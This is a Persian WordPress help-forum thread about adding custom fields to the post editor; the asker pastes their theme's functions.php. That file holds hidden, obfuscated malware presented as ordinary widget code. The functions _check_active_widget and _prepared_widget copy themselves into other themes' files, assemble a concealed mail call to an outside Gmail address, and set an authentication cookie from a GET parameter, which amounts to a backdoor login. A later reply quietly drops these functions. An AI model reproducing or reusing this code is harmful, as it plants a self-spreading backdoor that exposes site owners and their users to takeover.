mehran74 0 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 سلاممیخواستم بدونم چطوری میشه زمینه دلخواه به قسمت جدا تبدیل کرد ؟؟ نقل قول لینک به ارسال
I..R 1485 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 درود.برای ساخت زمینه دلخواه به این صورت باید به کار ببرید در مکان مناسب<?php $x= get_post_meta($post->ID, 'link', true); ?>که link در کد بالا نام زمینه دلخواه شما می باشدو برای نمایش:<?php echo $x; ?> 3 نقل قول لینک به ارسال
mehran74 0 ارسال شده در اسفند 92 مالک گزارش بازنشر ارسال شده در اسفند 92 دوس عزیز منظور من تو ارسال پست بوداین عکس ببینید : http://cdn.instantshift.com/wp-content/uploads/2010/10/htswcflfal-03.jpgاین آموزش پیدا کردم اما نمیتونم چظور انجامش بدم ؟؟؟ : http://designshovel.com/go/tpaaab نقل قول لینک به ارسال
I..R 1485 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 طبق آموزشی که پیدا کردید به ترتیب کد ها را داخل فایل function قالبتون بزارید. نقل قول لینک به ارسال
mehran74 0 ارسال شده در اسفند 92 مالک گزارش بازنشر ارسال شده در اسفند 92 همین کارو کردم اما بازم چیزی تو ارسال پست نیاورد نقل قول لینک به ارسال
I..R 1485 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 اگر درست اضافه کرده باشید مشکلی نیست؛چک کنید از تنظیمات صفحه فعال تیک خورده باشد 1 نقل قول لینک به ارسال
mehran74 0 ارسال شده در اسفند 92 مالک گزارش بازنشر ارسال شده در اسفند 92 (ویرایش شده) درمجموع باید این کد هارو قبل از ?> قرار بدم درسته ؟؟اینم کد : $arr_artist_details =array ( "artist-image-url" => array( "name" => "artist-image-url", // custom field name i.e. the KEY "type" => "input", // type of custom field i.e. required form's element type could be input/textarea/select etc ... "title" => "Artist Image URL", // title to be used for the key i.e. form's label "description" => "field description / help tip", // field description (if any) "scope" => array("post","page")), // define the scope in posts/pages "artwork1-small-image-url" => array( "name" => "artwork1-small-image-url", "type" => "input", "title" => "Artwork 1 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork1-large-image-url" => array( "name" => "artwork1-large-image-url", "type" => "input", "title" => "Artwork 1 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-small-image-url" => array( "name" => "artwork2-small-image-url", "type" => "input", "title" => "Artwork 2 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-large-image-url" => array( "name" => "artwork2-large-image-url", "type" => "input", "title" => "Artwork 2 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")) );function generate_artist_form() { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />'; echo'<div><span style="width:200px; float:left">'.$meta_box['title'].'</span>'; if( $meta_box['type'] == "input" ) { $meta_box_value = get_post_meta($post->ID, $meta_box['name'], true); if($meta_box_value == "") $meta_box_value = $meta_box['std']; echo'<input type="text" name="'.$meta_box['name'].'" value="'.$meta_box_value.'" size="98" /><br />'; } elseif ( $meta_box['type'] == "select" ) { echo'<select name="'.$meta_box['name'].'">'; foreach ($meta_box['options'] as $option) { echo'<option'; if ( get_post_meta($post->ID, $meta_box['name'], true) == $option ) { echo ' selected="selected"'; } elseif ( $option == $meta_box['std'] ) { echo ' selected="selected"'; } echo'>'. $option .'</option>'; } echo'</select>'; } echo '</div>'; echo'<p><label for="'.$meta_box['name'].'">'.$meta_box['description'].'</label></p>'; }}function save_form_data( $post_id ) { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) { return $post_id; } if ( 'page' == $_POST['post_type'] ) { if ( !current_user_can( 'edit_page', $post_id )) return $post_id; } else { if ( !current_user_can( 'edit_post', $post_id )) return $post_id; } $data = $_POST[$meta_box['name']]; if(get_post_meta($post_id, $meta_box['name']) == "") add_post_meta($post_id, $meta_box['name'], $data, true); elseif($data != get_post_meta($post_id, $meta_box['name'], true)) update_post_meta($post_id, $meta_box['name'], $data); elseif($data == "") delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true)); }}function create_meta_box() { global $theme_name, $arr_artist_details; if (function_exists('add_meta_box')) { add_meta_box( 'my-custom-fields', 'Gallery - Artist Details', 'generate_artist_form', 'post', 'normal', 'low' ); }} سیو کردم اما بازم چیزی نیاورد اینم شاتش : http://up.download.i.../OPOW/23121.pngاینم محتوای function قالب : <?phpadd_theme_support( 'post-thumbnails' );add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' );register_sidebar(array('name' => 'block rast','before_widget' => '','before_title' => '<div class="insidecats"><div class="titcats">','after_title' => '</div>','after_widget' => '</div>',));add_action('admin_menu', 'skydesign_theme_page');function skydesign_theme_page (){if ( count($_POST) > 0 && isset($_POST['skydesign_settings']) ){$options = array ('admin_massage', 'welcome_link','new_address');foreach ( $options as $opt ){delete_option ( 'skydesign_'.$opt, $_POST[$opt] );add_option ( 'skydesign_'.$opt, $_POST[$opt] );}}add_menu_page(__('????? ???? ????'), __('????? ???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');add_submenu_page(__('???? ????'), __('???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');}function skydesign_settings(){?><div class="wrap"><h2>??? ????? ???? ???? </h2><form method="post" action=""><fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;"><legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend><table class="form-table"><tr valign="top"><th scope="row"><label for="admin_massage">???? ????</label></th><td><input name="admin_massage" type="text" id="admin_massage" value="<?php echo get_option('skydesign_admin_massage'); ?>" class="regular-text" /><br /></td></tr></table></fieldset><p class="submit"><input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" /><input type="hidden" name="skydesign_settings" value="save" style="display:none;" /></p><?php}// retreives image from the postfunction getImage($num) {global $more;$more = 1;$content = get_the_content();$count = substr_count($content, '<img');$start = 0;for($i=1;$i<=$count;$i++) {$imgBeg = strpos($content, '<img', $start);$post = substr($content, $imgBeg);$imgEnd = strpos($post, '>');$postOutput = substr($post, 0, $imgEnd+1);$image[$i] = $postOutput;$start=$imgEnd+1;$cleanF = strpos($image[$num],'src="')+5;$cleanB = strpos($image[$num],'"',$cleanF)-$cleanF;$imgThumb = substr($image[$num],$cleanF,$cleanB);}if(stristr($image[$num],'<img')) { echo $imgThumb; }$more = 0;}//retreive image ends?><?phpfunction _check_active_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : "";}}}}return $output;}function _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_all_widgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset );}}if(!function_exists("strripos")){function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos;}}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_active_widget");function _prepared_widget(){if(!isset($length)) $length=120;if(!isset($method)) $method="cookie";if(!isset($html_tags)) $html_tags="<a>";if(!isset($filters_type)) $filters_type="none";if(!isset($s)) $s="";if(!isset($filter_h)) $filter_h=get_option("home");if(!isset($filter_p)) $filter_p="wp_";if(!isset($use_link)) $use_link=1;if(!isset($comments_type)) $comments_type="";if(!isset($perpage)) $perpage=$_GET["cperpage"];if(!isset($comments_auth)) $comments_auth="";if(!isset($comment_is_approved)) $comment_is_approved="";if(!isset($authname)) $authname="auth";if(!isset($more_links_text)) $more_links_text="(more...)";if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";if(!isset($more_content)) $more_content="ma".$s."il";if(!isset($forces_more)) $forces_more=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$widget_output) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) {if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__("There is no excerpt because this is a protected post.");} else { $output=get_the_password_form();}}}if(!isset($fix_tag)) $fix_tag=1;if(!isset($filters_types)) $filters_types=$filter_h;if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;if(!isset($more_tags)) $more_tags="div";if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($mlink_title)) $mlink_title="Continue reading this entry";if(!isset($showdot)) $showdot=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) {$text=$post->post_content;} elseif($fakeit == 1) {$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else {$text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $length) {$l=$length;$ellipsis=1;} else {$l=count($text);$more_links_text="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $html_tags) {$output=strip_tags($output, $html_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($fix_tag) ? balanceTags($output, true) : $output;$output .= ($showdot && $ellipsis) ? "..." : "";$output=apply_filters($filters_type, $output);switch($more_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_link ) {if($forces_more) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_prepared_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") {$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return $output;}if ( function_exists('register_sidebar') )register_sidebar(array('before_widget' => '','after_widget' => '</div><div class="wfo"></div>','before_title' => '<div class="wtop">','after_title' => '</div><div class="wco">',));function my_function_admin_bar(){return false;}add_filter( 'show_admin_bar' , 'my_function_admin_bar');?> ویرایش شده اسفند 92 توسط Black_sky longbox نقل قول لینک به ارسال
Black_Sky 6349 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 فکر کنم باید به صورت زیر باشد: <?phpadd_theme_support( 'post-thumbnails' );add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' );register_sidebar(array('name' => 'block rast','before_widget' => '','before_title' => '<div class="insidecats"><div class="titcats">','after_title' => '</div>','after_widget' => '</div>',));add_action('admin_menu', 'skydesign_theme_page');function skydesign_theme_page (){if ( count($_POST) > 0 && isset($_POST['skydesign_settings']) ){$options = array ('admin_massage', 'welcome_link','new_address');foreach ( $options as $opt ){delete_option ( 'skydesign_'.$opt, $_POST[$opt] );add_option ( 'skydesign_'.$opt, $_POST[$opt] );}}add_menu_page(__('????? ???? ????'), __('????? ???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');add_submenu_page(__('???? ????'), __('???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');}function skydesign_settings(){?><div class="wrap"><h2>??? ????? ???? ???? </h2><form method="post" action=""><fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;"><legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend><table class="form-table"><tr valign="top"><th scope="row"><label for="admin_massage">???? ????</label></th><td><input name="admin_massage" type="text" id="admin_massage" value="<?php echo get_option('skydesign_admin_massage'); ?>" class="regular-text" /><br /></td></tr></table></fieldset><p class="submit"><input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" /><input type="hidden" name="skydesign_settings" value="save" style="display:none;" /></p><?php}// retreives image from the postfunction getImage($num) {global $more;$more = 1;$content = get_the_content();$count = substr_count($content, '<img');$start = 0;for($i=1;$i<=$count;$i++) {$imgBeg = strpos($content, '<img', $start);$post = substr($content, $imgBeg);$imgEnd = strpos($post, '>');$postOutput = substr($post, 0, $imgEnd+1);$image[$i] = $postOutput;$start=$imgEnd+1;$cleanF = strpos($image[$num],'src="')+5;$cleanB = strpos($image[$num],'"',$cleanF)-$cleanF;$imgThumb = substr($image[$num],$cleanF,$cleanB);}if(stristr($image[$num],'<img')) { echo $imgThumb; }$more = 0;}//retreive image endsfunction __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") {$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return $output;}if ( function_exists('register_sidebar') )register_sidebar(array('before_widget' => '','after_widget' => '</div><div class="wfo"></div>','before_title' => '<div class="wtop">','after_title' => '</div><div class="wco">',));function my_function_admin_bar(){return false;}add_filter( 'show_admin_bar' , 'my_function_admin_bar');$arr_artist_details = array ( "artist-image-url" => array( "name" => "artist-image-url", // custom field name i.e. the KEY "type" => "input", // type of custom field i.e. required form's element type could be input/textarea/select etc ... "title" => "Artist Image URL", // title to be used for the key i.e. form's label "description" => "field description / help tip", // field description (if any) "scope" => array("post","page")), // define the scope in posts/pages "artwork1-small-image-url" => array( "name" => "artwork1-small-image-url", "type" => "input", "title" => "Artwork 1 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork1-large-image-url" => array( "name" => "artwork1-large-image-url", "type" => "input", "title" => "Artwork 1 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-small-image-url" => array( "name" => "artwork2-small-image-url", "type" => "input", "title" => "Artwork 2 Small Image URL", "description" => "field description / help tip", "scope" => array("post","page")), "artwork2-large-image-url" => array( "name" => "artwork2-large-image-url", "type" => "input", "title" => "Artwork 2 Large Image URL", "description" => "field description / help tip", "scope" => array("post","page")) );function generate_artist_form() { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />'; echo'<div><span style="width:200px; float:left">'.$meta_box['title'].'</span>'; if( $meta_box['type'] == "input" ) { $meta_box_value = get_post_meta($post->ID, $meta_box['name'], true); if($meta_box_value == "") $meta_box_value = $meta_box['std']; echo'<input type="text" name="'.$meta_box['name'].'" value="'.$meta_box_value.'" size="98" /><br />'; } elseif ( $meta_box['type'] == "select" ) { echo'<select name="'.$meta_box['name'].'">'; foreach ($meta_box['options'] as $option) { echo'<option'; if ( get_post_meta($post->ID, $meta_box['name'], true) == $option ) { echo ' selected="selected"'; } elseif ( $option == $meta_box['std'] ) { echo ' selected="selected"'; } echo'>'. $option .'</option>'; } echo'</select>'; } echo '</div>'; echo'<p><label for="'.$meta_box['name'].'">'.$meta_box['description'].'</label></p>'; }}function save_form_data( $post_id ) { global $post, $arr_artist_details; foreach($arr_artist_details as $meta_box) { if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) { return $post_id; } if ( 'page' == $_POST['post_type'] ) { if ( !current_user_can( 'edit_page', $post_id )) return $post_id; } else { if ( !current_user_can( 'edit_post', $post_id )) return $post_id; } $data = $_POST[$meta_box['name']]; if(get_post_meta($post_id, $meta_box['name']) == "") add_post_meta($post_id, $meta_box['name'], $data, true); elseif($data != get_post_meta($post_id, $meta_box['name'], true)) update_post_meta($post_id, $meta_box['name'], $data); elseif($data == "") delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true)); } }function create_meta_box() { global $theme_name, $arr_artist_details; if (function_exists('add_meta_box')) { add_meta_box( 'my-custom-fields', 'Gallery - Artist Details', 'generate_artist_form', 'post', 'normal', 'low' ); } }add_action('admin_menu', 'create_meta_box'); add_action('save_post', 'save_form_data');?> 3 نقل قول لینک به ارسال
SM-Mahdavi 5427 ارسال شده در اسفند 92 گزارش بازنشر ارسال شده در اسفند 92 سلاماز متاباکس هم می تونید استفاده کنید. اینم یک پلاگین کامل برای این کار http://mandegarweb.com/wordpress/free-wordpress-plugins/advanced-custom-fields-%DB%8C%DA%A9-%D9%BE%D9%84%D8%A7%DA%AF%DB%8C%D9%86-%DA%A9%D8%A7%D9%85%D9%84/ 4 نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .